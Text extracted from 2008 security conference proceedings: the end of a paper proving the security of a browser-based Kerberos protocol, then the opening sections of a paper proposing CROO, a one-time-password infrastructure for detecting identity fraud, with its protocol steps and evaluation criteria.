1. ClientHello and ServerHello. The browser C chooses his own nonce rC of
length p5(κ) at random and forwards it to S (ClientHello). In response S
chooses his own random nonce rS and a TLS session identifier sid of length
p5(κ) and appends it to his certificate certS (ServerHello). We stress that
sid chosen by S is not the session identifier sidS used in our security model
but a value specified in TLS.

2. Negotiate Key Material. C chooses a pre-master secret kp of length p5(κ)
at random and sends it to S encrypted with the received public key pkS
(ClientKeyExchange). The pre-master secret kp is used to derive the mas-
ter secret km through a pseudo-random function PRF on input (l1, rC |rS) with
kp as the secret seed. This key derivation is performed based on the stan-
dard TLS pseudo-random function PRF (see [2, Sect. 5]). The master secret
is then used as secret for the instantiation of the pseudo-random function
PRF on input (l2, rC |rS) to derive the session keys (k1, k2) used to encrypt



A Browser-Based Kerberos Authentication Scheme 125

Kerberos Server K
{LLK := (kKS , skK, certK)}

Browser C
{LLC := (skC , certC)}

A := rC ∈r {0, 1}p5(κ)

←−
A

−−−−−−−−−−−−−
rK ∈r {0, 1}p5(κ)

B := rK|certK

−
B

−−−−−−−−−−−−−→
sidC := rC|rK
kp ∈r {0, 1}p3(κ)

km := PRFkp (l1, sidC)

C := EpkK (kp)|certC
σC := SigskC (Hash(A|B|C))

(k1|k2) := PRFkm (l2, sidC)
h1 := Hash(A|B|C|σC)
FC := PRFkm (l3, h1)
D := Enck1(FC |HMACk2 (FC))

←−
C|σC|D

−−−−−−−−−−−−−
kp := DskK (C′)

km := PRFkp (l1, sidC)

(k1|k2) := PRFkm (l2, sidC)
h1 := Hash(A|B|C|σC)
(FC |ηC) := Deck1 (D)
if FC �= PRFkm (l3, h1)
or ηC �= HMACk2 (FC)
or NOT V er(certC, A|B|C, σC)
then ABORT else
h2 := Hash(A|B|C|σC|FC)
FK := PRFkm (l4, h2)
E := Enck1 (FK|HMACk2 (FK))

−
E

−−−−−−−−−−−−−→
(FK|ηK) := Deck1 (E)
(w|μK) := Deck1 (F )
h2 := Hash(A|B|C|σC|FC)
if FK �= PRFkm (l4, h2)
or ηK �= HMACk2 (FK)
or μK �= HMACk2 (w)
then ABORT

t := HMACkKS (pkC |ticket)

c := EnckKS (pkC|ticket|t)
m :=
Redirect(S)|SET − COOKIE(c,S)
F := Enck1 (m|HMACk2 (m))

−
F

−−−−−−−−−−−−−→
store(c,S)

Fig. 1. BBKerberos Protocol with TLS Client Authentication, Part 1. Boxed messages
denote the standard TLS handshake.

and authenticate session messages exchanged between C and S. [Remark:
TLS specifies the generation of six session keys: A symmetric encryption
key, a MAC key, and an IV for block ciphers only (both for client-to-server
and for server-to-client communication). For simplicity, we denote k1 as the
encryption key and k2 as the authentication key and assume that they are
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Browser C
{LLC := (skC , certC)}

Server S
{LLS := (kKS , skS , certS)}

A′ := r′
C ∈r {0, 1}p5(κ)

−
A′

−−−−−−−−−−−−−→
rS ∈r {0, 1}p5(κ)

B′ := rS |certS

←−
B′

−−−−−−−−−−−−−
sid′

C := r′
C|rS

k′
p ∈r {0, 1}p3(κ)

k′
m := PRFk′

p
(l1, sid′

C)

C′ := EpkS (k′
p)|certC

σ′
C := SigskC (Hash(A′|B′|C′))

(k′
1|k

′
2) := PRFk′

m
(l2, sid′

C)

h′
1 := Hash(A′|B′|C′|σ′

C)
F ′

C := PRFk′
m

(l3, h′
1)

D′ := Enck′
1
(F ′

C|HMACk′
2
(F ′

C))

−
C′|σ′

C |D′

−−−−−−−−−−−−−→
k′

p := DskS (C′)

k′
m := PRFk′

p
(l1, sid′

C)

(k′
1|k

′
2) := PRFk′

m
(l2, sid′

C)

h′
1 := Hash(A′|B′|C′|σ′

C)
(F ′

C|η
′
C) := Deck′

1
(D)

if F ′
C �= PRFk′

m
(l3, h1)

or η′
C �= HMACk′

2
(F ′

C)

or NOT V er(certC , A′|B′|C′, σ′
C)

then ABORT else
h′
2 := Hash(A′|B′|C′|σ′

C|F ′
C)

F ′
S := PRFk′

m
(l4, h′

2)

E′ := Enck′
1
(F ′

S |HMACk′
2
(F ′

S))

←−
E′

−−−−−−−−−−−−−
(F ′

S |η′
S) := Deck′

1
(E′)

h′
2 := Hash(A′|B′|C′|σ′

C|F ′
C)

if F ′
S �= PRFk′

m
(l4, h′

2)

or η′
S �= HMACk′

2
(F ′

S)

then ABORT
m′ := COOKIE(c)
F ′ := Enck′

1
(m′|HMACk′

2
(m′))

−
F’

−−−−−−−−−−−−−→
m′ = Deck′

1
(F ′)

c′ = V ALUE(m′)
(pk′

C |ticket′|t′) := DECkKS (c′)

if not pk′
C = pkC

and t′ := HMACkKS (pkC |ticket)
then ABORT

Fig. 2. BBKerberos Protocol with TLS Client Authentication, Part 2. Boxed messages
denote the standard TLS handshake.
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the same for both directions.] The browser C also proves possession of the
private key skC by signing the hash hσC over all previously negotiated mes-
sages, i.e., signature σC (ClientVerify).

3. Session Key Confirmation. C confirms the session key generation, i.e., FC
is the first message that is authenticated via HMAC computed with k2 and en-
crypted via the symmetric encryption scheme computed with k1. FC is com-
puted as output of PRF on input (l3, h1) with km as the secret seed; whereby h1

denotes the hash value computed over all messages previously processed by C
(Finished). S verifies σC , using the public key pkC . Further, S generates km

and derives the session keys (k1, k2) in a similar way. S uses the own session
keys (k1, k2) to ensure that it communicates with C through the verification
of FC . If the verification fails, S aborts the protocol. Otherwise, it confirms
the negotiated session parameters, using PRF on input (l4, h2) with km as se-
cret seed; whereby h2 denotes the hash value over the received messages. The
output of PRF is first authenticated via HMAC computed with k2 and then en-
crypted via the symmetric encryption scheme computed with k1.

4.3 Security Analysis

In the following we analyze security of the BBKerberos protocol. We recall that
the goal of the protocol is to provide secure authentication of C to S, brokered
by K.

Theorem 1. Let π be a BBKerberos protocol as specified in Section 4. If PRF is
pseudo random, (Enc, Dec) are IND-CPA secure, (E ,D) are IND-CCA2 secure,
Hash is collision-resistant, (Sig, V er) is EUF-CMA secure, and HMAC is WUF-
CMA secure, then π provides authentication in the sense of Definition 2.

Proof (Sketch). Due to space limitation, the full proof appears in the extended
version of the paper. The main idea is to simulate an execution of the protocol
based on the event RevealDOM(C) event. Then, the security can be reduced to
the MAC-and-encrypt construction which conceals the authentication ticket and
protects the ticket from forgeries, i.e. the adversary wins if it issues a valid ticket.
However, if the RevealDOM(C) event does not occur, then the security can be
reduced to the TLS handshake, which ensures that the owner of the ticket which
is linked to some public key is in fact a legitimate owner by proving possession
of the corresponding private key.

Remark 3. Although not stated in Theorem 1 explicitly, the security proof of
BBKerberos based on the current TLS standard is valid in the Random Oracle
Model (ROM) [5]. The reason is that the specification of TLS prescribes the use
of the RSA encryption according to PKCS#1 (a.k.a. RSA-OAEP) which in turn
is known to provide IND-CPA security in ROM (see [21] for the proof). How-
ever, Theorem 1 assumes (E ,D) to be IND-CPA secure (independent of ROM).
Thus, using an encryption scheme whose security holds under standard assump-
tions would also disburden the current security of BBKerberos from the strong
assumptions of ROM. Similarly, the proof holds when the signature scheme is
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instantiated with RSA signature according to PKCS#1 (a.k.a. RSA-PSS) which
in turn is known to provide EUF-CMA security in ROM (see [14] for the proof).

Remark 4. The HMAC construction used in the standard specification of the
TLS protocol, formally, does not play any role for the security of the protocol.
This is not surprisingly since every output of HMAC is encrypted using session
key k1 before being sent over the network. Since k1|k2 is treated as a single
output of PRF the separation into k1 and k2 can be seen as redundant from the
theoretical point of view. Note also that Krawczyk has proved the MAC-then-
encrypt construction as secure in [18]. Though he mentions some problems in
the general construction he shows that they do not apply to TLS.

5 Conclusion

We have introduced and analyzed a browser-based Kerberos protocol that made
weak assumptions on the browser’s security: The browser guarantees that private
keys and sessions keys are confidential. However, our model allows the adversary
to take control of the browser’s DOM model, thus taking into account known
browser attacks, such as XSS, Pharming. We did not consider malware attacks
on the operating system the browser is running on. Since malware attacks may
subvert the security of any cryptographic protocol (including classical Kerberos)
without additional assumptions (e.g. the existence of a Trusted Platform Mod-
ule), this exception seems justified.

We proved security in a game-based style by refining the model, proposed
in [10], towards the consideration of DOM attacks. An interesting challenge for
future work is to design Browser-based Kerberos which are provably secure under
the stronger notion of Universal Composition[7,19]. Thus, the protocols could be
composed with higher-layer protocols, but the analysis of the composition would
be considerably simplified.
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CROO: A Universal Infrastructure and Protocol

to Detect Identity Fraud

D. Nali and P.C. van Oorschot
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Abstract. Identity fraud (IDF) may be defined as unauthorized ex-
ploitation of credential information through the use of false identity. We
propose CROO, a universal (i.e. generic) infrastructure and protocol to
either prevent IDF (by detecting attempts thereof), or limit its con-
sequences (by identifying cases of previously undetected IDF). CROO is
a capture resilient one-time password scheme, whereby each user must
carry a personal trusted device used to generate one-time passwords
(OTPs) verified by online trusted parties. Multiple trusted parties may
be used for increased scalability. OTPs can be used regardless of a trans-
action’s purpose (e.g. user authentication or financial payment), asso-
ciated credentials, and online or on-site nature; this makes CROO a uni-
versal scheme. OTPs are not sent in cleartext; they are used as keys to
compute MACs of hashed transaction information, in a manner allowing
OTP-verifying parties to confirm that given user credentials (i.e. OTP-
keyed MACs) correspond to claimed hashed transaction details. Hashing
transaction details increases user privacy. Each OTP is generated from
a PIN-encrypted non-verifiable key; this makes users’ devices resilient
to off-line PIN-guessing attacks. CROO’s credentials can be formatted as
existing user credentials (e.g. credit cards or driver’s licenses).

1 Introduction

We informally define identity fraud (IDF)1 as unauthorized exploitation of
extracted credential information (e.g. identification passwords, driver’s licence
numbers, and credit card numbers) involving some form of impersonation or
misrepresentation of identity. A 2005 survey [25] reported that over 9 million
Americans (i.e. one in 23 American adults) were IDF victims in 2004, corre-
sponding to a total annual cost of $51.4 billion and a median cost of $750 per
victim. The motivation behind IDF is multifaceted and the possible damages are
diverse (including, e.g., loss of privacy, worry and fear, financial loss, time loss,
denial of service,2 and public discredit).

1 We prefer this term over “identity theft” (IDT), although both have often been
used [6,9,17]. The term theft seems to suggest that victims are “deprived” of their
identity, which is not always true, nor our focus.

2 IDF victims have been arrested due to fraud committed by their impersonators under
the victims’ names.

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 130–145, 2008.
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In the academic literature, there are relatively few proposals addressing IDF.
Most focus onprevention of credential information extraction. (See, e.g. [3,4,14,26],
for countermeasures to phishing or key logging.) We are aware of only one non-
application-specific academic proposal addressing generic IDF [31], which, as pre-
sented, has limitations including restriction to on-site (vs. online) transactions and
loss of user location privacy (users are geographically tracked).

In this paper, we focus on IDF involving real (vs. fictitious) people’s identities.
We also include consideration of IDF involving newly created credentials (e.g.
credit, health, and building access cards) obtained by fraudsters in their victims’
names, because this type of IDF currently seems difficult to detect. Our focus
is on the generic IDF problem, and we seek a universal IDF solution, i.e. one
which works for both remote and on-site transactions, and is neither application-
specific, nor restricted to instances (of the generic IDF problem) associated with
one class of credential tokens (e.g. credit cards). Credential-specific solutions
are potentially what individual applications’ (e.g. credit card) vendors are likely
to propose; we believe end-users will find universal solutions both more usable
(when considered across all applications), and less costly in terms of personal
time. One might also argue that, for overall economic reasons, an IDF solution
detecting driver’s license and health/debit/credit card-based forms of IDF is
more likely to be adopted and accepted by card bearers and state and financial
institutions than solutions which only detect one of these forms of IDF. While we
deal with architectural problems associated with the design of privacy-preserving
credential management systems, our primary focus is not the privacy aspect of
such systems, but their fraud detection capability. Similarly, we do not aim to
solve the bootstrap problem of human identification at the time when credentials
are issued to people. Instead, we assume that trusted parties exist that can
identify legitimate users (e.g. using out-of-band mechanisms), and we focus on
the detection of fraudulent uses of credentials.

We propose a universal infrastructure and protocol for IDF detection, which
we call CROO (Capture Resilient Online One-time password scheme). Each user
must carry a personal device used to generate one-time passwords (OTPs) veri-
fied by online trusted parties. These OTP generation and verification procedures
are universal, in the sense that they can be associated with any user transaction,
regardless of the transaction’s purpose (e.g. user identification, user authentica-
tion, or financial payment), associated credentials (e.g. driver’s license or credit
card), and online or on-site (e.g. point-of-sale) nature. For increased scalablity,
multiple OTP verification parties may be used (see §2.5). OTPs are not sent in
cleartext; they are used as keys to compute MACs of hashed unique transac-
tion information (e.g. list of bought items). This allows OTP-verifying parties
to confirm that given user credentials (i.e. OTP-based MACs) correspond to
claimed hashed transaction details. Hashing transaction information increases
user privacy. Online OTP-verifying parties detect IDF when OTPs of received
user credentials or the associated transaction information do not have expected
values. Each OTP is generated from a high-entropy non-verifiable text [19] en-
crypted using a key derived from a user-chosen PIN; hence, possession of a user’s
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personal device (or clone thereof) does not suffice to confirm guesses of the as-
sociated PIN, to recover the associated non-verifiable key, and generate correct
OTPs. Since OTPs can only be verified by online parties, the proposed scheme
turns off-line PIN guessing attacks against stolen or cloned personal devices into
online OTP-guessing attacks that can be easily detected by online parties.

CROO provides means to both prevent IDF (by detecting IDF attempts), and
limit its consequences when sophisticated IDF attacks have bypassed the afore-
mentioned preventive measures. Limiting the consequences of IDF is of use when
a fraudster has acquired a user’s PIN, stolen the user’s personal device, and used
the device to generate correct OTPs for unauthorized transactions. Another in-
teresting aspect of CROO is that it requires few changes to existing credential
processing protocols: users continue to interact with relying parties; relying par-
ties continue to interact with users and card issuers; and the proposed OTP-
based user credentials can be customized to follow existing formats (e.g. the
credit card numbering format). To achieve this, CROO requires card issuers to in-
teract with both relying parties and proposed online OTP-verifying parties. For
space and processing speed efficiency, CROO employs MACs (vs. encryption or
public-key signature) to generate user credentials. From a practical standpoint,
users employ personal devices to generate OTP-based credentials which can be
used in the same way existing credentials are used. To generate OTPs, personal
devices must receive transaction details (e.g. a dollar amount and relying party’s
identifier). These details can be communicated either by manual keyboard entry,
or via short-range wireless communication with local terminals (e.g. by waiving
the personal device before a transceiver linked to a local terminal).

CROO relies on malware-free personal devices in which secrets used to generate
OTPs are stored. As others [8,22], we believe that, in the near future, a subset
of deployed personal devices will meet this requirement, possibly as a result of
initiatives such as the Trusted Computing Group [2].

Contributions. The proposal of a universal infrastructure and protocol for
addressing IDF is our main contribution. Universal here means designed to be
simultaneously used with multiple classes of user transactions, i.e. regardless of
transactions’ applications, on-site or remote nature, purposes, attributes, and
associated credentials. We analyze the proposed scheme using criteria grouped
into categories of usability, privacy, fraud detection, and communication security.
The diversity and number of these criteria reflect the challenge in designing
universal IDF detection systems.

Outline. §2 describes CROO. §3 presents evaluation criteria to facilitate analysis
and comparison of CROO with other proposals. §4 discusses related work. §5
concludes the paper.

2 Infrastructure and Protocol for IDF Detection

This section describes CROO, an infrastructure and protocol for IDF detection.
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2.1 Fundamental Definitions

Before presenting CROO, we define a few terms related to IDF. In this paper:
identity (ID) denotes a collection of characteristics by which a person is known
(an individual may have more than one identity); identifier refers to any la-
bel assigned to an identity to distinguish this identity from other identities;
credential information (cred-info) denotes information (or a piece thereof) pre-
sented by a party to either gain privileges or goods, or to support the ve-
racity of an identity-related claim made by this party; and credential token
(cred-token) refers to an object (tangible or electronic) on which cred-info is
recorded.

2.2 Architectural Components

Parties. Let I be a party that issues cred-tokens and authorizes, when needed,
the execution of operations associated with cred-tokens issued by I. (For ex-
ample, I may be a credit card company that issues credit cards and authorizes
payments made with these cards.) Let F be a party that monitors the use of
cred-tokens, and can assign identifiers to a person U . (In some practical instanti-
ations, F may be a sub-component of party I, and/or the two may be co-located.)
Assume that I issues a cred-token CU to U , and let R be a party that provides
goods or services to any person or organisation A, when the following conditions
are satisfied: (1) A presents to R either certain cred-tokens (e.g. a credit card)
or pieces of cred-info (e.g. a credit card number and a name); and (2) either the
items presented to R grant A required privileges, or confirm that A has required
attributes (e.g. is of a certain age).

Personal Device. U acquires a personal trusted computing device DU equipped
both with an input/output user interface and capability to communicate via
a standard short range wireless (SRW) channel (e.g. an NFC-3 or Bluetooth-
enabled cell phone, if suitable as a trusted computing platform, or a small
special-purpose device usable for multi-application IDF prevention and detec-
tion.) Any communication between DU and F , R, or I is over the SRW channel.
When R is an online party in a web-transaction (rather than a physically present
point of sale), then communication between DU and R combines SRW commu-
nication between DU and a PC, and Internet-based communication between this
PC and R. If DU uses NFC to communicate with other devices, then U sim-
ply needs to waive DU before these devices for communication to take place.
As a fall-back measure, when no electronic (e.g. NFC-based) SRW channel can
be used by DU to communicate with other devices, a manual or oral commu-
nication channel may be used, whereby U manually or orally (e.g. in the case
of phone-call-based transactions) communicates information needed or output
by DU .

3 NFC [7] enables wireless communication between devices in very close (e.g. less than
10cm) proximity.
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2.3 IDF Detection Protocol

The IDF detection protocol consists of an Initialization protocol and a Transac-
tion protocol. The notation of Table 1 is henceforth used. Table 2 summarizes
the Transaction protocol.

Initialization
1. I provides U with CU .
2. U appears before (or engages in an audiovisual phone conversation with) F

to allow F to verify that U is who she claims to be.4 This is done using
standard (e.g. out-of-band) techniques. If F is not convinced of U ’s identity,
the Initialization procedure is aborted. Otherwise:

3. F generates and provides U with (sU ,k(n), n, IDU ). F also sets an IDU -
specific counter i to 0.

4. U chooses and memorizes a PIN pU , and inputs (sU ,k(n), n, IDU ) in DU .
DU generates a d2-bit nonce q, and computes {sU , k(n), q}p̂U (i.e. symmet-
rically encrypts (sU , k(n), q) with a key p̂U derived from pU and a secure
symmetric encryption scheme e.g. AES-128 in CBC mode). Then DU stores
the ciphertext locally, sets to 0 a counter i, and erases pU and p̂U from its
memory.

5. U sends IDU to I, and indicates to I that F monitors CU , and CU must
be paired with IDU . U also provides I with DU ’s number if DU is a mobile
phone. I links IDU , CU , and DU ’s number if applicable.

6. I and F (respectively R and I) acquire cryptographic material required
to establish secure channels between each other (e.g. by exchanging each
other’s public-key certificate). Throughout the paper, secure channels denote
communication channels providing confidentiality, integrity, bi-directional
authenticity, and message-replay protection for a chosen time frame (e.g. by
storing cryptogrpahic hashes of all messages received in the last hour).

Transaction

1. R sends z to DU .
2. DU displays z to U , and U inputs pU in DU . Let i be the value stored

by DU . DU computes k(i) (see Table 1) and v = G(fk(i) (h(z))). Then, DU

increments i, and sends (IDU , v) to R.
3. Upon receiving (IDU , v), R sends (IDU , v, z) to I, over a secure channel.
4. Upon receiving (IDU , v, z), I sends (IDU , h(z), v) to F , over a secure

channels.
5. Upon receiving (IDU , h(z), v), F uses IDU to retrieve information required

to compute k(i),5 and checks wether v = G(fk(i) (h(z))). Then F computes
the fraud status variable Sz as follows: (a) if v = G(fk(i)(h(z))), F sets
Sz = 0; (b) if v = G(fk(i−j) (h(z))) for some integer j such that 1 ≤ j ≤
d4, then F concludes that U has been impersonated, and sets Sz = 1. (c)

4 Instead, U may visit a trusted representative of F . However, for simplicity, we hence-
forth assume that U visits F .

5 e.g. i and k(n), or i and k(i+d4) if i + d4 ≤ n and k(i+d4) was stored by F to speed
up the computation of k(i).



CROO: A Universal Infrastructure and Protocol to Detect Identity Fraud 135

Table 1. Notational Overview

Symbol Explanation

{di}6
i=1 Length parameters. E.g. d1 ≥ 4, d2 = 160, d3 = 128, 10 ≥ d4 ≥ 5, d5 = 36,

d6 = 72.

n Number (e.g. 10,000) of cred-tokens or pieces of cred-info monitored by F per

user. When F has monitored n transactions for U , Steps A and B of the Fraud

Recovery protocol are executed.

CU Cred-token issued to U by I .

IDU Unique temporary identifier assigned to U by F , e.g. a bit string, or U ’s name

and postal address.

pU d1-digit PIN chosen and memorized by U .

sU d2-bit secret random salts generated by F .

p̂U Symmetric key derived from pU (e.g. first d3 bits of h(pU )).

h Cryptographic hash function (e.g. SHA-1) with d2-bit image elements.

f MAC (e.g. SHA-1-HMAC) with co-domain elements of same bit length as sU .

k(j) jth d2-bit one-time password. k(n) is a random secret d2-bit string generated by

F . k(j) = h(sU , k(j+1)) for j = n − 1, n − 2, · · · , 0.
z Transaction details (e.g. timestamp, dollar value, and R’s 10-digit phone number).

G Function which, given a d2-bit string (equal to fk(i) (h(z)) in the Transaction

Protocol), constructs a well-formatted d6-bit string allowing R to determine the

issuer I to which G(x) is intended, and such that |G({0, 1}d2)| is d5 bits. E.g.,

if (a, b) denotes the concatenation of two strings a and b, one can define G(x) =

(y1, y2, y3, y4), where y1 is a 6-digit identifier of I , y3 is a single-digit check code,

and y4 is a 3-digit verification code such that (y2, y4) = x mod 1011 and (y1, y2, y3)

is a syntactically-valid credit-card number (CCN); in this case, G(x) is akin to the

concatenation of a 15-digit CCN (y1, y2, y3) with a 3-digit verification code y4. In

the transaction protocol, G(x) is either manually input by U in a local terminal,

or automatically transferred thereto via NFC as U waives DU before a receiver.

Sz Fraud status issued by F for the transaction associated with z.

Az Receipt issued by I concerning the transaction associated with z.

Table 2. Transaction Fraud Verification Protocol

U DU R I F Messages Sent
1. | ← | z

2. | ← | z

2. | → | pU

3. | → | (IDU , v), where v = G(fk(i)(h(z)))

4. | → | (IDU , v, z)

5. | → | (IDU , h(z), v)

6. | ← | (IDU , h(z), Sz)

7. | ← | (h(z),Az)
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otherwise, F proceeds as follows: (c1) if the values v of tuples (IDU , h(z), v)
received by F have been incorrect for more than a small number of times
(e.g. 5 or 10), within a F -chosen time period, then F concludes that U ’s
cred-tokens are currently under attack, and F sets Sz = 2;6 (c2) otherwise,
F sets Sz = 3. Then F sends back (IDU , h(z), Sz) to I over the channel
from which (IDU , h(z), v) was just received.

6. Upon receiving (IDU , h(z), Sz), I uses IDU to retrieve CU , and proceeds as
follows: if Sz = 0, I uses CU to process the transaction request (IDU , v, z)
according to I-chosen business rules (e.g. z includes a very recent time stamp
and sufficiently low dollar amount, or, when CROO is used for authentication
only, z is an authentication request including a nonce), and sets Az = 0;
if Sz = 1, I sets Az = 1, and follows a predefined procedure (e.g. I may
directly notify U by calling DU if DU is a mobile phone); if Sz = 2, I sets
Az = 1, and follows another predefined procedure (e.g. I may temporarily
declare all uses of cred-info associated with IDU as fraudulent); if Sz = 3,
I sets Az = 1, and follows yet another predefined procedure (e.g. I may not
do anything). Then I sends (h(z), Az) to R using the channel from which
(IDU , h(z), v) was sent.

7. Upon receiving (h(z), Az), R proceeds as follows: if Az = 0, R provides
U with the expected goods or services; otherwise, R notifies U that the
transaction was not successful, and issues a receipt to U mentioning that
the given transaction failed.

Fraud Recovery. Upon suspecting that she has been impersonated,7 U either
phones or goes to F in person. Then, the following steps A and B are executed.
(A) F verifies U ’s claimed identity (e.g. using out-of-band procedures),8 and
proceeds as follows. (B) F resets U ’s counter i to 0; U obtains new (sU ,k(n),
n) from F , and chooses and memorizes a new pU ; DU generates a d2-bit nonce
q, computes {sU , k(n), q}p̂U and stores the result on DU ; DU also sets to 0 the
counter i, and erases pU and p̂U from its memory.

2.4 Concrete Examples of CROO

Driver’s License. A real-world instantiation of CROO could be as follows: I is a
state agency that issues drivers’ licences; R is a bank; U is a person to whom I
issues a driver’s licence CU ; F is a state agency that specializes in the detection of
fraud involving state-issued cred-tokens; DU is a cell phone communicating with
on-site terminals via NFC. (When validation of driver’s licence information (e.g.
for credit card issuing) does not currently involve online check with a trusted

6 Step 5(c1) requires F to store a counter indicating the number of times the associated
condition has been satisfied over a chosen time period. This counter must be set to
0 when Sz is set to 0 or 1 while processing a request associated with IDU .

7 Such suspicion may come to U from reviewing personal transaction reports.
8 If fraud recovery is initiated more than a predefined number of times in a given

time-frame, F may engage in more thorough authentication of U (e.g. via in-person
thorough interviews by representatives of F ).
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party, this instantiation of our (online) proposal may be used to better detect
driver’s license-related IDF.)

Credit Card. As a second example, CROO can be instantiated with the following
parties: I is a credit card company; R is an online merchant; U is a legitimate
customer of I to whom I issues a credit card CU ; F is a credit bureau; and DU is
a cell phone equipped with a software application facilitating web-based online
commerce via PCs; transaction details (e.g. dollar amount and R’s identifier)
are manually input by U into DU ; DU displays v, and U manually inputs v
(formatted as a credit card number with a 3-digit verification code) into a local
PC used for web transactions.

2.5 Extensions

CROO is flexible with respect to the number of credential issuers I and the number
of fraud detection parties F . In other words, U may have cred-tokens issued
by different parties I, and these parties may rely on different fraud detecting
parties F . For example, fraud detecting parties may be peculiar to particular
applications or contexts (e.g. financial or government-oriented services). In some
cases, however, it may be simpler to associate all the cred-tokens of a user with
a single fraud detecting party, even though this party might not be the same
for all users (e.g. for scalability purposes). The advantage of using a single fraud
detecting party for all cred-tokens of a user is that when fraud is committed with
any of this user’s cred-tokens, this instance of fraud is detected the next time
the user utilizes any of its cred-tokens. This is due to the fact that each one-
time password is not bound with a particular cred-token, but with a user and
the party that validates this OTP. In other words, one-time passwords are used
across cred-tokens and cred-info thereon. Another extension of CROO consists in
asking users (say U) to memorize different PINs for different groups of cred-
tokens; if a PIN is guessed by an attacker, the cred-tokens associated with PINs
that have not been guessed may still be used by U , and the OTPs associated
with the non-guessed PINs are not temporarily declared as fraudulent.

3 Evaluation Criteria for Universal ID Fraud Solutions

This section discusses evaluation properties for analysis and comparison of the
proposed CROO protocol (henceforth denoted S, for scheme) with others. We
are primarily interested in conveying an understanding of S’s usability, privacy,
and security characteristics (using practical criteria presented below), rather
than algebraically “proving” the security of S. Security- and privacy-related
requirements of CROO are discussed in an extended version of this paper [24], as
well as a preliminary mathematical security analysis of a simplified version of
CROO. Devising realistic mathematical models and formal proofs which provide
tangible guarantees in real-world deployments remains a challenge for us and
others [16,15].



138 D. Nali and P.C. van Oorschot

We aim to provide criteria that can be used to evaluate the effectiveness of
the proposed IDF detection scheme. We consider criteria under four categories:
usability, privacy-preserving capability (i.e. ability of users to control access to
their cp-info), fraud detection capability (i.e. capability to detect IDF attempts
or cases in which IDF has been committed without being detected), and commu-
nication security (e.g. protection against man-in-the-middle attacks). Presented
below, these criteria are not exhaustive, but rather what we hope is a useful step
towards an accepted set of criteria to evaluate universal IDF solutions.

The following notation is used: I is any legitimate credential issuer; U is a
user (person); xU is a cred-token or cred-info issued by I to a person believed
to be U ; xU* denotes xU and/or any clones thereof; and R is a (relying) party
whose goal is either to verify claims made by, or provide goods/services to, any
party A, provided A demonstrates knowledge of appropriate secret information,
or shows possession of certain cred-tokens or cred-info that are both valid and
not flagged as fraudulent. Moreover, terms denoted by † can further be qualified
by “instantly” or “within some useful time period”.

Notation ✓ (resp. ✗) indicates that S meets (resp. does not meet) the asso-
ciated criterion. Notation ✓✗ indicates that the associated criterion is partially
met by S. Due to space limitations, details of the evaluation claims are presented
in an extended version of this paper [24].

Usability Evaluation Criteria

✓ U1. No Requirement to Memorize Multiple Passwords. S does not require
U to memorize cred-token-specific or application-specific passwords.

✓✗ U2. No Requirement to Acquire Extra Devices. S does not require U to
acquire extra devices (e.g. computers, cell phones, memory drives).9

✓✗ U3. No Requirement for Users to Carry Extra Devices. S does not require
U to carry extra personal devices (e.g. cell phone).

✓✗ U4. Easy Transition from Current Processes. S does not require U to sig-
nificantly change current processes to which U is accustomed (e.g. by not
requiring extra mental or dexterous effort from U). For example, U is likely
used to entering a PIN when using bank cards (vs. having an eye scanned).

✓ U5. Support for Online Transactions. S detects instances of attempted
and/or committed but previously undetected IDF for online (e.g. web) trans-
actions.

✓ U6. Support for On-Site Transactions. S detects instances of attempted
and/or committed but previously undetected IDF for on-site (e.g. point-of-
sale) transactions.

✓ U7. Convenience of Fraud Flagging Procedures. When IDF has been de-
tected (e.g. by a user or system), S provides a convenient mechanism to flag
the appropriate cred-tokens as fraudulent. For example, S may enable U to
interact with only one party to flag, as fraudulent, any of her cred-tokens.

✓ U8. Suitability for Fixed Users. S can be used by fixed users (i.e. who carry
out transactions from a constant geographic location).

9 S may require U to load new software on an existing general-purpose device (e.g.
cell phone).
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✓ U9. Convenience of Fraud Recovery Procedures. When U suffers IDF, S al-
lows U to easily recover. For example, S may enable U to interact with only
one party to obtain new cred-tokens that can be used thereafter, without
having to obtain new cred-tokens from a number of credential issuers. Alter-
natively, S may enable U to interact with only one party that allows her to
both continue to use her cred-tokens, and have the assurance that the use
of any clones of her cred-tokens will be detected as fraudulent.

✗ U10. Support for Transactions Involving Off-line Relying Parties. S detects
instances of attempted and/or committed but previously undetected IDF
even if R is not able to communicate, in real time, with other parties (e.g. I
and F ).

✗ U11. Support for Use of Multiple Credentials in a Single Transaction. S
enables the use of multiple pieces of cred-info in a single transaction.

Privacy Evaluation Criteria

✓✗ P1. No Disclosure of User Location. S does not disclose U ’s location in-
formation, e.g. to multiple entities, or an entity that shares it with other
parties.

✓✗ P2. No Disclosure of User Activity. S does not disclose transaction details
regarding U ’s activity (e.g. what U has bought, and when or where this was
done).

✓ P3. No Disclosure of User Capabilities. S does not reveal what hardware or
software capabilities (e.g. digital camera or printer) U has.

✓ P4. No Disclosure of User’s Private Information. S does not reveal private
(e.g. medical or financial) user information.

Fraud Detection Evaluation Criteria

✓ D1. Determination of Credential Use. U and I know† when xU* is used.
✓ D2. Control on Credential Use. U and I can control† the use of xU* (i.e.

approve or reject each use thereof).
✓ D3. Detection of Illegitimate Credential Holder. When xU* is presented to

R, then U , I, and R can determine whether xU*’s holder is authorized to
hold xU*. This credential holder legitimacy check might be based on the
possession of a specified token, the knowledge of a memorized secret, the
presentation of inherent biometric features, the proof of current geographic
location, or some other criterion.

✓✗ D4. Determination of Credential Use Context. U and I can determine† in
which context (e.g. R’s identity, network location, and geographic location)
xU* is used.10

✓✗ D5. Verification of R’s Entitlement to View Credential. U and I can
determine† whether R is a party to which xU* is authorized to be shown
for specified purposes (e.g. the delivery of cred-tokens, goods, or services).

✓ D6. Entitlement Verification of Credential Holder’s Claimed ID. R and I can
determine† whether xU* is associated with its holder’s claimed identity.11

10 Note that this criterion may adversely affect user privacy.
11 For example, xU*’s holder may claim to be Joe Dalton while xU* was issued to

Lucky Luke. This is different from the situation in which xU ’s holder pretends to be
Lucky Luke (see D3).
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✓ D7. Fraud Flagging of Credentials. S allows authorized parties (e.g. U and
I) to flag xU as fraudulent (i.e. indicate in a trusted accessible database that,
for a specified period, all uses of xU* are fraudulent).

✓ D8. Verification of Credential Fraud Flag. R can know whether xU* is cur-
rently flagged as fraudulent.

✓ D9.Detection of Clone Usage. R (resp. I) can distinguish† xU from its clones
whenever the latter are presented to R (resp. I).

✗ D10. Detection of Credential Cloning. U and I can detect† that xU* is
cloned.

✗ D11. Detection of Credential Theft. U and I can detect† that xU is stolen
from U .

